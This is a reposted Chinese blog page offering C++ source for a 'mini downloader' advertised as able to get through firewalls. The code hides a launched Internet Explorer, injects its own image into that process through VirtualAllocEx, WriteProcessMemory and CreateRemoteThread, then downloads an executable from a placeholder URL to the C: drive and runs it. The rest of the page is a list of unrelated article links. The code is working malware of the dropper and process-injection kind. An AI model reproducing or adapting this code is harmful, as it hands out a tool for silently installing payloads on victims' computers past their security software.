博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
可以穿墙的下载者VC源码
阅读量:7053 次
发布时间:2019-06-28

本文共 2422 字,大约阅读时间需要 8 分钟。

/*“mini_downloader”code bykardinal p.s.tcompile by vc++ 6.0can not run under win98;*/#include 
#pragma comment(lib,”user32.lib”)#pragma comment(lib,”kernel32.lib”)//#pragma comment(linker, “/OPT:NOWIN98″) //取消这几行的注释,编译出的文件只有2K大小//#pragma comment(linker, “/merge:.data=.text”)//#pragma comment(linker, “/merge:.rdata=.text”)//#pragma comment(linker, “/align:0×200″)#pragma comment(linker, “/ENTRY:main”)#pragma comment(linker, “/subsystem:windows”)#pragma comment(linker, “/BASE:0×13150000″)HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数HANDLE processhandle;DWORD pid;HINSTANCE hshell,hurlmon;void download() //注入使用的下载函数{hshell=LoadLibrary(“Shell32.dll”);hurlmon=LoadLibrary(“urlmon.dll”);(FARPROC&)SHELLRUN=GetProcAddress(hshell,”ShellExecuteA”);(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,”URLDownloadToFileA”);DOWNFILE(NULL,”http://www.xxxxxxx.cn/en/notepad.exe”,”c:\\ieinst12.exe”,0, NULL);SHELLRUN(0,”open”,”c:\\ieinst12.exe”,NULL,NULL,5);ExitProcess(0);};void main() //主函数{//1.得到IE路径,并运行char iename[MAX_PATH],iepath[MAX_PATH];ZeroMemory(iename,sizeof(iename));ZeroMemory(iepath,sizeof(iepath));GetWindowsDirectory(iepath,MAX_PATH);strncpy(iename,iepath,3);strcat(iename,”program files\\Internet Explorer\\IEXPLORE.EXE”);//strcat(iename,”windows\\notepad.EXE”);WinExec(iename,SW_HIDE);Sleep(500);//2.得到 IE process handleHWND htemp;htemp=FindWindow(“IEFrame”,NULL);GetWindowThreadProcessId(htemp,&pid);processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);//3.分配内存HMODULE Module;LPVOID NewModule;DWORD Size;LPDWORD lpimagesize;Module = GetModuleHandle(NULL);//进程映像的基址//得到内存镜像大小_asm{push eax;push ebx;mov ebx,Module;mov eax,[ebx+0x3c];lea eax,[ebx+eax+0x50];mov eax,[eax]mov lpimagesize,eax;pop ebx;pop eax;};Size=(DWORD)lpimagesize;NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置//4.写内存,创建线程WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据LPTHREAD_START_ROUTINE entrypoint;__asm{push eax;lea eax,download;mov entrypoint,eax;pop eax}CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行//5.关闭对象CloseHandle(processhandle);return;}

转载于:https://www.cnblogs.com/rogee/archive/2011/05/24/2055906.html

你可能感兴趣的文章
IDEA常用快揵键
查看>>
git 学习笔记
查看>>
[HDU5968]异或密码
查看>>
Vue的安装
查看>>
iOS开发~CocoaPods使用详细说明
查看>>
C#扩展方法
查看>>
移动浏览器中实现拨打电话,调用sms,发送email
查看>>
docker 搭建小型的node开发环境。
查看>>
Java第九次作业
查看>>
.Net Discovery系“.NET技术”列之-深入理解平台机制与性能影响 (中)
查看>>
1.文件重命名工具
查看>>
【java】json格式解析
查看>>
Linux开始结束ping命令
查看>>
开源一款私藏Management Studio插件,ProjkyAddin,送给所有使用SQLServer的园友们
查看>>
jQuery判断checkbox是否选中的3种方法
查看>>
LinkedList源码分析
查看>>
【算法介绍】哈希排序算法
查看>>
UpdatePanel and JQuery Plugin
查看>>
centos5.7下的kdump
查看>>
[JavaEE笔记]Cookie
查看>>